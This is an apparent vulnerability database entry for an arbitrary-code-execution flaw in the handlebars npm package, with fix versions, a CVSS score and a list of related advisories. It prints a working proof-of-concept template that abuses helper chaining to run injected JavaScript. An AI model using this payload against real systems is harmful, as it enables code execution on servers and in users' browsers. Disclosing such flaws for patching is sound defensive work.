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High

Arbitrary Code Execution in handlebars

  • Disclosed: 04.09.2020
  • Updated: 11.10.2026 10:22

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package handlebars < 3.0.8, >= 4.0.0, < 4.5.2 3.0.8, 4.5.2

References

CVSS score 7.3/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L
Weakness (CWE)
CWE-94
Platform
npm
Package
handlebars
Disclosed
04.09.2020
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2cf5-4w76-r9qv - CC BY 4.0

Vulnerability history: handlebars

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (22) in the archive
Total entries
22
First → latest
10.2018 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 10
  • Medium 5
  • Low 1

Disclosures per year

Severity:
  1. Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
    Critical · 9.8 CVE-2026-106446 >= 4.0.0, < 4.7.10 4.7.10
  2. Handlebars: JavaScript Injection via Own Property Check Bypass
    Critical CVE-2026-106445 >= 3.0.0, < 4.7.10 4.7.10
  3. Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
    High · 8.2 CVE-2026-33941 >= 4.0.0, < 4.7.9 4.7.9
  4. Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
    High · 8.1 CVE-2026-33940 >= 4.0.0, < 4.7.9 4.7.9
  5. Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation
    High · 7.5 CVE-2026-33939 >= 4.0.0, < 4.7.9 4.7.9
  6. Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
    High · 8.1 CVE-2026-33938 >= 4.0.0, < 4.7.9 4.7.9
  7. Handlebars.js has JavaScript Injection via AST Type Confusion
    Critical · 9.8 CVE-2026-33937 >= 4.0.0, < 4.7.9 4.7.9
  8. Prototype Pollution in handlebars
    Critical · 9.8 CVE-2021-23383 < 4.7.7 4.7.7
  9. Regular Expression Denial of Service in Handlebars
    High · 7.5 CVE-2019-20922 >= 4.0.0, < 4.4.5 4.4.5
  10. Arbitrary Code Execution in Handlebars
    High · 8.1 CVE-2019-20920 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  11. Remote code execution in handlebars when compiling templates
    Critical · 9.8 CVE-2021-23369 < 4.7.7 4.7.7
  12. Arbitrary Code Execution in handlebars
    High ghsa-q2c6-c6pm-g3gh < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  13. Prototype Pollution in handlebars
    High ghsa-g9r4-xpmj-mj65 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  14. Arbitrary Code Execution in handlebars this entry
    High · 7.3 ghsa-2cf5-4w76-r9qv < 3.0.8, >= 4.0.0, < 4.5.2 3.0.8, 4.5.2
  15. Prototype Pollution in handlebars
    Critical · 9.8 CVE-2019-19919 >= 4.0.0, < 4.3.0, < 3.0.8 4.3.0, 3.0.8
  16. Prototype Pollution in handlebars
    High · 7.3 ghsa-q42p-pg8m-cqh6 >= 4.1.0, < 4.1.2, >= 4.0.0, < 4.0.14, < 3.0.7 4.1.2, 4.0.14, 3.0.7

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